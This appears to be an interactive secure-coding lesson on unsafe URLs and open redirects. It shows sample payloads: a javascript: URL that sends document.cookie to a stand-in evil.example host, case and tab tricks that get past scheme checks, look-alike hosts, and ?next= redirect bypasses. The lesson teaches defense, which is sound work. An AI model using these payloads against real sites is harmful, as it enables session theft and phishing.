Track 08 · Lesson 10 of 20Attacks and defenses

Track 08 · Attacks and defenses

Unsafe URLs and open redirects

Lesson 10 of 20· 7 min

A URL is instructions, not just text. javascript: URLs run code when opened, and a redirect that goes wherever a parameter says lends your trusted domain to anyone.

Open a URL from the API

Try each check against every URL

window.open(article.url)
  • The real help page

    Opens the help page
    "https://help.example.com/articles/12"

    Browser reads: https: help.example.com

  • javascript: URL

    Runs script on your origin
    "javascript:fetch('//evil.example?c='+document.cookie)"

    Browser reads: javascript:

  • Mixed-case scheme

    Runs script on your origin
    "JaVaScRiPt:alert(document.domain)"

    Browser reads: javascript:

  • Leading tab

    Runs script on your origin
    "\tjavascript:alert(1)"

    Browser reads: javascript:

  • Plain http

    Opens over plain http
    "http://help.example.com/articles/12"

    Browser reads: http: help.example.com

  • Look-alike host

    Opens help.example.com.evil.example
    "https://help.example.com.evil.example/"

    Browser reads: https: help.example.com.evil.example

  • Name in the path

    Opens evil.example
    "https://evil.example/help.example.com"

    Browser reads: https: evil.example

  • Protocol-relative

    Opens evil.example
    "//evil.example/login"

    Browser reads: https: evil.example

  • Your own

    Opens the help page
    "https://docs.example.com/start"

    Browser reads: https: docs.example.com

6 dangerous URLs get through.

Checking strings is how look-alikes get through: https://help.example.com.evil.example contains your hostname, and JaVaScRiPt: with a leading tab is still a javascript: URL to the browser. Parse with new URL() and compare the parts the browser will actually use: the protocol, and the exact hostname against an allowlist.

Frameworks escape text, but they can’t know which URLs you meant. window.open, location.href = … and iframe src set from data get no check unless you add one.

Open redirects#

Login pages often send people back to ?next= afterwards. If that accepts any URL, your domain becomes a launch pad for phishing: the link looks like yours, and lands on theirs.

Where does ?next= go?

Three checks, five tricks

redirect(searchParams.get("next") ?? "/")
  • /login?next=/settingsStays: /settings
  • /login?next=https://evil.example/loginLands on evil.example
  • /login?next=//evil.exampleLands on evil.example
  • /login?next=/\evil.exampleLands on evil.example
  • /login?next=/%2F%2Fevil.exampleStays: /%2F%2Fevil.example
An open redirect. A link on your trusted domain sends people to the attacker’s look-alike login page.

In a code review

LowFrontend

URLs used for navigation without validation

Fix: Require https and an allowed host before navigating; fix iframe and script sources to known hosts.

0 of 1 checked

Check yourself

Your redirect accepts any next value that starts with /. Which one escapes to another site?